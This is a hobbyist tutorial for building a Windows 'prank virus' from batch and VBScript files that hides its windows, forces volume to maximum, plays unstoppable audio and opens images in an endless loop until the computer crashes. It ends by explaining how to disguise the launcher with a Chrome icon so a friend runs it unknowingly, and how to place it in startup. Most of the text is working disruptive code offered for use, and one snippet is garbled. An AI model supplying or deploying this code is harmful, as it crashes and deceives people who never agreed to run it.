Big Chungus Virus

Have you ever wanted to make a virus that spams big chungus images and plays "We are number one"? Well, now you can. I will be showing how to make an easy, non-lethal virus using batch and vbs files. Note: This is for Windows ONLY.

So, to start you'll want to make a main folder to put your virus in. I called mine "MAFIA".

To make a batch/vbs file to run code in, first make a new text document (right-click, new, text document). Open it and type in this code:

Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs

strArgs = "cmd /c run.bat"

oShell.Run strArgs, 0, false

Then save it as run_hide.vbs (Remember: when saving it, choose "Save as type: all files". This is VERY important).

You can delete the text document now.

Now that you know how to make a batch/vbs file, make 4 more.

1) This is the first one's code:

Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs

strArgs = "cmd /c image.bat"

oShell.Run strArgs, 0, false

Save it as "hide.vbs"

2) The second one's code:

Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs

strArgs = "cmd /c high.vbs"

oShell.Run strArgs, 0, false

Save it as "hide2.vbs"

3) The third one's code:

Set WshShell = CreateObject("WScript.shell")
for j = 0 to 30

or i = 0 to 50

WshShell.SendKeys(chr(175)) next

for i = 0 to 50

WshShell.SendKeys(chr(175))

next

next

Save it as "high.vbs"

4) And the fourth one's code:

start hide.vbs

start hide2.vbs

start high.vbs

start play.vbs

Save it as "run.bat"

So basically the "run_hide","hide" and "hide2" files all ran other files invisibly, meaning the folder that they run will run without cmd/command prompt opening up. The "high" file turns the system volume up, so the sound that will play will play at max volume. To make the sound play, download a mp3 file of your choice (here I chose "We are Number One but it's woahed by crash bandicoot", as it's very annoying). Rename your mp3 file to "play.mp3". Then put the play.mp3 file in your main folder (in my case the "MAFIA" folder). Then make a new folder with this code:

Dim oPlayer
Set oPlayer = CreateObject("WMPlayer.OCX")

oPlayer.URL = "play.mp3"

oPlayer.controls.play

While oPlayer.playState <> 1 ' 1 = Stopped

WScript.Sleep 100

Wend

oPlayer.close

Then save it as "play.vbs". (Remeber, all created files should be put in the main folder).

When you run play.vbs, it should play your play.mp3 file, without you being able to stop it.

Now , the best part of the virus: the big chungus images. Of course, you can use any image you like, but big chungus is amazing so I'll use him. If you decide not to use big chungus, just remeber to rename your image to "big_chungus.jpg" anyway. Also, if your image is not a .jpg, just replace all .jpg in the codes with .png or whatever extension your image is using.

Make a file called "image.bat" with this code:

@echo off
:loop_start

start big_chungus.jpg

goto loop_start

Now, when you run hide.vbs, it will invisibly run image.bat, and image.bat spams big chungus images until your computer crashes.

The last thing you need to do to make your perfect virus is to make a shortcut for your "run_hide.vbs" file.

To do this, right click on the run_hide.vbs file, and click on "Create Shortcut". Rename the shortcut to anything you want, and Voila! You can put the shortcut anywhere you want on your computer (even startup!) and all you have to do to run the virus is to run "run_hide.vbs" (unless you put it in startup, which means it will run every time you start up your computer. This, however, is a BAD IDEA because your computer is then basically broken, as the moment you start it, it runs the virus and crashes).

Maybe you're gonna put this virus on a friend's computer, but you don't want his/her computer crashing every time he/she starts it up. Maybe you just want to change the shortcut's image icon to a program icon, so your friend clicks on the shortcut and starts the virus instead of opening the program. To do this, download the icon of the "fake program". Here I chose chrome, as it's the one that people will likely open first. Convert it to a .ico file using an online converter, then put it in the main folder of the virus. Right click on the virus shortcut, click on Properties, then (if the tab isn't already selected) click on the Shortcut tab, then click on Change Icon. Click Browse, and select the icon from the main folder of the virus. Now the shortcut will have your chosen icon! Put the shortcut in Desktop, and your friend will likely click on it, thinking that it's just a normal program, and accidentally start your virus!